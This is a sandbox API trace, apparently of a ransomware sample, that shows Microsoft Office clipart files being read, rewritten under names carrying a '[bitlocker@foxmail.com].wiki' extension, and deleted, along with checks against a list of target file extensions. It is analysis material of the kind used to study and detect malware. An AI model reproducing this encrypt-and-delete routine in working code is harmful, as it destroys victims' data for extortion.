0x1fc [0198.604] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.604] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.605] GetLastError () returned 0x0 [0198.605] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x812c, lpOverlapped=0x0) returned 1 [0198.607] WriteFile (in: hFile=0x1d0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x8130, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x8130, lpOverlapped=0x0) returned 1 [0198.609] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0198.609] WriteFile (in: hFile=0x1d0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.609] SetEndOfFile (hFile=0x1d0) returned 1 [0198.609] CloseHandle (hObject=0x1d0) returned 1 [0198.609] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.609] SetEndOfFile (hFile=0x1fc) returned 1 [0198.610] CloseHandle (hObject=0x1fc) returned 1 [0198.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.610] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf")) returned 1 [0198.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0198.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0198.610] lstrlenW (lpString=".doc") returned 4 [0198.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.611] lstrlenW (lpString=".docx") returned 5 [0198.611] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0198.611] lstrlenW (lpString=".pdf") returned 4 [0198.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.611] lstrlenW (lpString=".xls") returned 4 [0198.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.611] lstrlenW (lpString=".xlsx") returned 5 [0198.611] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0198.611] lstrlenW (lpString=".ppt") returned 4 [0198.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0198.611] lstrlenW (lpString=".zip") returned 4 [0198.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.611] lstrlenW (lpString=".rar") returned 4 [0198.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.611] lstrlenW (lpString=".bz2") returned 4 [0198.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.611] lstrlenW (lpString=".7z") returned 3 [0198.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0198.611] lstrlenW (lpString=".dbf") returned 4 [0198.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0198.611] lstrlenW (lpString=".1cd") returned 4 [0198.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0198.611] lstrlenW (lpString=".jpg") returned 4 [0198.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0198.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0198.611] lstrlenW (lpString=".doc") returned 4 [0198.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.612] lstrlenW (lpString=".docx") returned 5 [0198.612] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0198.612] lstrlenW (lpString=".pdf") returned 4 [0198.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.612] lstrlenW (lpString=".xls") returned 4 [0198.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.612] lstrlenW (lpString=".xlsx") returned 5 [0198.612] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0198.612] lstrlenW (lpString=".ppt") returned 4 [0198.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0198.612] lstrlenW (lpString=".zip") returned 4 [0198.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.612] lstrlenW (lpString=".rar") returned 4 [0198.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.612] lstrlenW (lpString=".bz2") returned 4 [0198.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.612] lstrlenW (lpString=".7z") returned 3 [0198.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0198.612] lstrlenW (lpString=".dbf") returned 4 [0198.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0198.612] lstrlenW (lpString=".1cd") returned 4 [0198.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0198.612] lstrlenW (lpString=".jpg") returned 4 [0198.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.612] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.613] lstrlenW (lpString="J0153087.WMF") returned 12 [0198.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0198.613] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1912) returned 1 [0198.613] CloseHandle (hObject=0x1fc) returned 1 [0198.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf")) returned 0x20 [0198.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0198.613] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.613] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.614] GetLastError () returned 0x0 [0198.614] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x778, lpOverlapped=0x0) returned 1 [0198.615] WriteFile (in: hFile=0x1d0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x780, lpOverlapped=0x0) returned 1 [0198.616] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0198.616] WriteFile (in: hFile=0x1d0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.616] SetEndOfFile (hFile=0x1d0) returned 1 [0198.616] CloseHandle (hObject=0x1d0) returned 1 [0198.616] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.616] SetEndOfFile (hFile=0x1fc) returned 1 [0198.617] CloseHandle (hObject=0x1fc) returned 1 [0198.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.617] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf")) returned 1 [0198.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0198.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0198.618] lstrlenW (lpString=".doc") returned 4 [0198.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.618] lstrlenW (lpString=".docx") returned 5 [0198.618] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0198.618] lstrlenW (lpString=".pdf") returned 4 [0198.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.618] lstrlenW (lpString=".xls") returned 4 [0198.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.618] lstrlenW (lpString=".xlsx") returned 5 [0198.618] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0198.618] lstrlenW (lpString=".ppt") returned 4 [0198.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0198.618] lstrlenW (lpString=".zip") returned 4 [0198.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.618] lstrlenW (lpString=".rar") returned 4 [0198.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.618] lstrlenW (lpString=".bz2") returned 4 [0198.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.618] lstrlenW (lpString=".7z") returned 3 [0198.618] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0198.618] lstrlenW (lpString=".dbf") returned 4 [0198.618] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0198.618] lstrlenW (lpString=".1cd") returned 4 [0198.618] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0198.618] lstrlenW (lpString=".jpg") returned 4 [0198.618] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0198.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0198.619] lstrlenW (lpString=".doc") returned 4 [0198.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.619] lstrlenW (lpString=".docx") returned 5 [0198.619] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0198.619] lstrlenW (lpString=".pdf") returned 4 [0198.619] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.619] lstrlenW (lpString=".xls") returned 4 [0198.619] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.619] lstrlenW (lpString=".xlsx") returned 5 [0198.619] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0198.619] lstrlenW (lpString=".ppt") returned 4 [0198.619] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0198.619] lstrlenW (lpString=".zip") returned 4 [0198.619] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.619] lstrlenW (lpString=".rar") returned 4 [0198.619] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.619] lstrlenW (lpString=".bz2") returned 4 [0198.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.619] lstrlenW (lpString=".7z") returned 3 [0198.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0198.619] lstrlenW (lpString=".dbf") returned 4 [0198.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0198.619] lstrlenW (lpString=".1cd") returned 4 [0198.620] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0198.620] lstrlenW (lpString=".jpg") returned 4 [0198.620] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.620] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.620] lstrlenW (lpString="J0153089.WMF") returned 12 [0198.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0198.620] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=7848) returned 1 [0198.620] CloseHandle (hObject=0x1fc) returned 1 [0198.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf")) returned 0x20 [0198.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0198.621] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.621] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.621] GetLastError () returned 0x0 [0198.621] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x1ea8, lpOverlapped=0x0) returned 1 [0198.623] WriteFile (in: hFile=0x1d0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x1eb0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1eb0, lpOverlapped=0x0) returned 1 [0198.624] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0198.624] WriteFile (in: hFile=0x1d0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.624] SetEndOfFile (hFile=0x1d0) returned 1 [0198.624] CloseHandle (hObject=0x1d0) returned 1 [0198.624] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.624] SetEndOfFile (hFile=0x1fc) returned 1 [0198.625] CloseHandle (hObject=0x1fc) returned 1 [0198.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.625] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf")) returned 1 [0198.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0198.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0198.625] lstrlenW (lpString=".doc") returned 4 [0198.625] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.625] lstrlenW (lpString=".docx") returned 5 [0198.625] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0198.625] lstrlenW (lpString=".pdf") returned 4 [0198.625] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.625] lstrlenW (lpString=".xls") returned 4 [0198.625] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.625] lstrlenW (lpString=".xlsx") returned 5 [0198.625] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0198.625] lstrlenW (lpString=".ppt") returned 4 [0198.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0198.626] lstrlenW (lpString=".zip") returned 4 [0198.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.626] lstrlenW (lpString=".rar") returned 4 [0198.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.626] lstrlenW (lpString=".bz2") returned 4 [0198.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.626] lstrlenW (lpString=".7z") returned 3 [0198.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0198.626] lstrlenW (lpString=".dbf") returned 4 [0198.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0198.626] lstrlenW (lpString=".1cd") returned 4 [0198.626] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0198.626] lstrlenW (lpString=".jpg") returned 4 [0198.626] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0198.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0198.626] lstrlenW (lpString=".doc") returned 4 [0198.626] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.626] lstrlenW (lpString=".docx") returned 5 [0198.626] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0198.626] lstrlenW (lpString=".pdf") returned 4 [0198.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.626] lstrlenW (lpString=".xls") returned 4 [0198.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.626] lstrlenW (lpString=".xlsx") returned 5 [0198.626] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0198.626] lstrlenW (lpString=".ppt") returned 4 [0198.627] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0198.627] lstrlenW (lpString=".zip") returned 4 [0198.627] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.627] lstrlenW (lpString=".rar") returned 4 [0198.627] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.627] lstrlenW (lpString=".bz2") returned 4 [0198.627] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.627] lstrlenW (lpString=".7z") returned 3 [0198.627] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0198.627] lstrlenW (lpString=".dbf") returned 4 [0198.627] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0198.627] lstrlenW (lpString=".1cd") returned 4 [0198.627] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0198.627] lstrlenW (lpString=".jpg") returned 4 [0198.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.627] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.627] lstrlenW (lpString="J0153091.WMF") returned 12 [0198.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0198.628] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=8136) returned 1 [0198.628] CloseHandle (hObject=0x1fc) returned 1 [0198.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf")) returned 0x20 [0198.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0198.628] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.628] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, 